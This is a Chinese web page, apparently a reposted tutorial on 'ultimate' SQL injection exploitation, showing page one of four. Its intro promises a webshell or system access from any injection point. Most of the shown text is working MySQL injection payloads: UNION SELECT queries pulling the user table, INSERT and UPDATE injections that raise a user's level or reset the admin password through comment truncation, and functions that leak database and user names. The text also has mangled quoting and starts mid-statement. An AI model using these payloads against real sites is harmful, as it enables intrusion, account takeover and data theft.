sql injection终极利用方法

来源:网络 作者:admin 阅读: 字体:[ ] [打印] [关闭]
自定义标签 wzsp 未创建

内容提要:————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限 声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为 发觉其危害过大,原文已经经过大量删减及修改,即使这样本 ……

OM article where articleid=$id
1'' and 1=2 union select * from user where userid=1/* 句中变为
(select * FROM article where articleid=''1'' and 1=2 union select * from user where userid=1/*'')
1 and 1=2 union select * from user where userid=1

语句形式:建立一个库,插入:
create DATABASE `injection`
create TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '''',
`password` varchar(20) NOT NULL default '''',
PRIMARY KEY (`userid`)

insert INTO `user` VALUES (1, ''swap'', ''mypass'');


插如一个注册用户:
insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('''', ''$username'', ''$password'', ''$homepage'', ''1'');
"insert INTO membres (login,password,nom,email,userlevel) VALUES (''$login'',''$pass'',''$nom'',''$email'',''1'')";
insert INTO membres (login,password,nom,email,userlevel) VALUES ('''','''','''','''',''3'')#'',''1'')
"insert INTO membres SET login=''$login'',password=''$pass'',nom=''$nom'',email=''$email''";
insert INTO membres SET login='''',password='''',nom='''',userlevel=''3'',email=''''
"insert INTO membres VALUES (''$id'',''$login'',''$pass'',''$nom'',''$email'',''1'')";

update user SET password=''$password'', homepage=''$homepage'' where id=''$id''
update user SET password=''MD5(mypass)'' where username=''admin''#)'', homepage=''$homepage'' where id=''$id''
"update membres SET password=''$pass'',nom=''$nom'',email=''$email'' where id=''$id''";
update membres SET password=''[PASS]'',nom='''',userlevel=''3'',email='' '' where id=''[ID]''
"update news SET Votes=Votes+1, score=score+$note where idnews=''$id''";

长用函数:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如:
update article SET title=$title where articleid=1 对应函数
update article SET title=DATABASE() where id=1
#把当前数据库名更新到title字段
update article SET title=USER() where id=1
#把当前 MySQL 用户名更新到title字段
update article SET title=SYSTEM_USER() where id=1
#把当前 MySQL 用户名更新到title字段
update article SET title=SESSION_USER() where id=1
#把当前 MySQL 用户名更新到

上一页1234下一页
[标签: sql, injection终极利用方法] [打印] [关闭]
站长评论(0) 查看所有评论
相关新闻

热门新闻

推荐新闻